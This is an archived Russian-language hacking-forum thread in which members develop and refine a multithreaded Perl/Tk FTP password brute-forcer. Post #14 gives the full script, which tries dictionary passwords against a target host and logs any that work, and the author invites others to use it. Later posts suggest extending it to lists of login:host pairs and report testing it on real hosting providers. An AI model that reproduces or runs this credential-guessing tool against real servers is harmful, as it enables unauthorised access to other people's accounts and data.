HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 13.12.2007, 01:15
genom--
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме:
1948091

Репутация: 1686


По умолчанию

насчет брутера - сделай чтобы не под 1 логин был
насчет threads + tk =) - а почему бы и нет - хоть тк и является unthreadable - типо не потокиируемый(если не ошибась) все невозможное возможно -- предлагаю именно блеки взглянуть на наш со слайдером мыл киллер -- там все есть -- есдинственный лаг при работе с tk это то что он сбивает адреса потоков в памяти и их нельзя завершить и они остаются висеть так что надо создат потоки и вкидывать в них пассы не пересоздавая -- да и если 100 раз запустить на разные хостя то оператива засрется а так вполне работоспособно и мило

в качестве альтернативы этому я думал делать(генерировать) отдельный многопоточный скрипт и вызывать его из основного с гуи и чтобы он через return или в файл возвращал результат работы а основной только анализировал его и выводил пользователю

PS код можно оптимизировать в лудшую сторону -- за сторания ++ -- практика практика и еще раз практика и у тебя будет красивый код - я тоже помнится не оч над этим задумывался пока меня ксури и киба не тыкнули мордой в него и сказали че за херня =)

Последний раз редактировалось genom--; 13.12.2007 в 01:21..
 
Ответить с цитированием

  #12  
Старый 13.12.2007, 01:16
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

В скрипте были ошибки + несовсем корректно работал
Всё исправил, пользуйтесь =)
Геном, про несколько логинов я думал, возможно потом реализую
 
Ответить с цитированием

  #13  
Старый 13.12.2007, 01:46
pento
Участник форума
Регистрация: 03.07.2006
Сообщений: 147
Провел на форуме:
438137

Репутация: 66
По умолчанию

Ужасное форматирование языка с ужасным синтаксисом.
 
Ответить с цитированием

Multithread FTP Bruter Tk/GUI
  #14  
Старый 13.12.2007, 01:47
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


Red face Multithread FTP Bruter Tk/GUI

Вобщем вот кое что подправил. проблема была из-за прагмы strict, так как я не мог понять в чём же проблема, принял решение её убрать.
По скрипту. В первое поле вставляем адрес, второе - логин, тректье путь к файлу для сохранения результата. Хочу заметить что его придётся укзаывать ручками, не стал использовать диалог бокс, имхо незачем. Следующее поле для выбора словаря с паролями, сдесь заюзал функцию getOpenFile(), так удобнее, ну и в последнее поле указываем потоки
Скрипт начинает брутить фтп, при удачном нахождении результат заносится в файл который вы указали и прога закрывается. Вот сдесь мне нужна помощь перл гуру, как сделать что бы после нахождения пароля можно было задать новые переменны и начать новый брут?
Если пароль не найден в файл пишется Password not found и прога тоже закрывается (то же самое, как?). В интерпритатор вываливается куча ошибок в любом случае, там и глобал дистракшн из-за exit и сообщения о невозможности создать новые потоки. вот тут тоже выслушаю ваши замечания
Собственно сам код
Код:
#!/usr/bin/perl
use Tk;
use NET::FTP;
use threads;
use threads::shared;
my @pass : shared;
my($main,$addr,$dicfile,$fo,$thrd,$save,$login);

$main=MainWindow->new(-title => 'FTP bruter by Spyder'); 
$main->geometry ('320x220');
$main->resizable (0,0);
$main->Label(-text => 'Enter targer for brute (without ftp://)')->pack();
$addr=$main->Entry(-width => 50)->pack;
$main->Label(-text => 'Login')->pack;
$login=$main->Entry(-width => 50)->pack;
$main->Label(-text => "Enter path to save result")->pack;
$save=$main->Entry(-width => 50)->pack;
$main->Label(-text => 'Choose file with passwords')->pack;
$dicfile=$main->Entry(-width => 50,
                      -textvariable => \$fo)->pack;
$main->Button(-text => 'Start brute', 
              -width=> '80',
              -height=> '1',
              -font => 'courier',
              -command => \&Brute)->pack(-side => 'bottom');
$main->Button(-text => 'Browse',
              -command => \&fileopen)->pack(-side => 'left');
$thrd=$main->Entry(-width => 5)->pack(-side => 'right'); 
$main->Label(-text => 'Threads:')->pack(-side => 'right');
sub fileopen
{
	$fo = $main->getOpenFile(); 
}       
MainLoop;
sub Brute
{
        $thr = int($thrd->get);
        $file = $dicfile->get;
        $fsave = $save->get;
        open (SRC, "<$file") or die "Can't open:$!";
        Next:
        @pass = pass();
        my @trl;
        for(0..$thr) 
        { 
	        $trl[$_] = threads->create(\&Brut, $_); 
	}
        for(0..$thr)
        {
	        $trl[$_]->join
        }
                    
        sub Brut
        {
                while (@pass) {
                        $pass = shift @pass;
                        $fsave = $save->get;
                        $ip = $addr->get;
                        $log_in = $login->get;
                        $ftp = Net::FTP->new($ip);           
                        $ok = $ftp->login($log_in,$pass) or exit "$!";
                        if ($ok) 
                        {
                        	open (SAVE, ">>$fsave") or exit "Can't save:$!";
                        	print SAVE "Password for $ip is $pass\n";
                        	close (SAVE);
                        	exit;
                        }
        }
}
goto Next;

sub pass
{
my (@mas);
while (<SRC>){
push @mas, $_;
last if (@mas > 300);
}
chomp @mas;
$n = @mas;
if ($n == 0) {
	open (SAVE, ">>$fsave") or die "Can't save:$!";
	print SAVE "Password not found\n";
	close (SAVE);
	exit;
} else {
return @mas;
}
}
}
Не знаю то ли это чего вы ждали, но оно всё же работает =))

Последний раз редактировалось Spyder; 13.12.2007 в 02:07..
 
Ответить с цитированием

  #15  
Старый 13.12.2007, 02:19
KSURi
Постоянный
Регистрация: 06.06.2006
Сообщений: 515
Провел на форуме:
1985206

Репутация: 963


По умолчанию

Цитата:
Сообщение от genom--  
насчет threads + tk =) - а почему бы и нет - хоть тк и является unthreadable - типо не потокиируемый(если не ошибась)
Статус Тк не позволяет (при стандартной связке Tk+threads) внедрять многопоточность только по отношению к себе. Т.е. разработка "нормального" гуя, где элементы гуя контролируются одними потоками, а работа скрипта выполняется другими, в данном случае не возможна.

Я хотел было заморочиться по этому поводу, в мыслях было написать многопоточную обертку для Tk, но мои телодвижения в данном направлении окончились после этих строк:
Код:
#!perl

use strict;
use warnings;

use Tk;
use threads;

my($MW);

threads -> create(\&StartGUI, 'Tk & threads', [640, 480], [0, 0]) -> detach;

sub StartGUI
{
    my($title, $geometry, $resizable) = @_;
    
    $MW = MainWindow -> new(-title => $title);
    $MW -> geometry($geometry -> [0] . 'x' . $geometry -> [1]);
    $MW -> resizable($resizable -> [0], $resizable -> [1]);
    
    MainLoop;
}
Без исправлений на уровне XS, мне кажется, тут ничего уже не попишешь.
 
Ответить с цитированием

  #16  
Старый 13.12.2007, 03:19
C!klodoL
Постоянный
Регистрация: 05.06.2007
Сообщений: 335
Провел на форуме:
4319431

Репутация: 677
По умолчанию

как сделать что бы после нахождения пароля можно было задать новые переменны и начать новый брут?

ну проще сделать брут по списку login:host из файла, только тебе нужно изменить код чтобы хосты и пассы сразу заносились в массивы (правда тут словарь метров эдак на 200 не заюзаешь, оперативки не хватит, но с другой стороны врядли кто будет таким словарем брутить)), вот примерно как это может выглядеть:

Код:
sub brut
{
	while (@ftps)
	{
		$ftp = shift @ftps;
		($login, $host) = split (/:/, $ftp);
			foreach (@passwords)
			{
                                $_ обходим все пассы в масиве
			}
	}
}

Последний раз редактировалось C!klodoL; 13.12.2007 в 04:13..
 
Ответить с цитированием

  #17  
Старый 13.12.2007, 06:04
vp$
Участник форума
Регистрация: 22.10.2007
Сообщений: 138
Провел на форуме:
2454040

Репутация: 177
Отправить сообщение для vp$ с помощью ICQ
По умолчанию

проверял для хостинго jino.ru
ftp:// -- login.jino.ru
login -- login
где логин это учетка на хостинге
прога при запуске подумала немного и вырубилась
 
Ответить с цитированием

  #18  
Старый 13.12.2007, 11:04
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

проверял на нарроде + обычные фтп
всё работает
Ты какой скрипт проверял? С ГУИ? Если да то он тебе должен результат в файл занести или может ты чё то не так делаешь
C!klodoL, ты меня наверное немного не понял. Вобщем Ксури подсказал идею с сабами, попробую сделать
 
Ответить с цитированием

  #19  
Старый 13.06.2008, 23:21
satana8920
Постоянный
Регистрация: 22.09.2006
Сообщений: 531
Провел на форуме:
3818187

Репутация: 369


Отправить сообщение для satana8920 с помощью ICQ
По умолчанию

вот бы было бы не плохо еси мона было б подгружать список логинов
я не большой ценитель гиу я маньяк ретро консоли
по этому думаю что лучше бы старую версию доработать
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ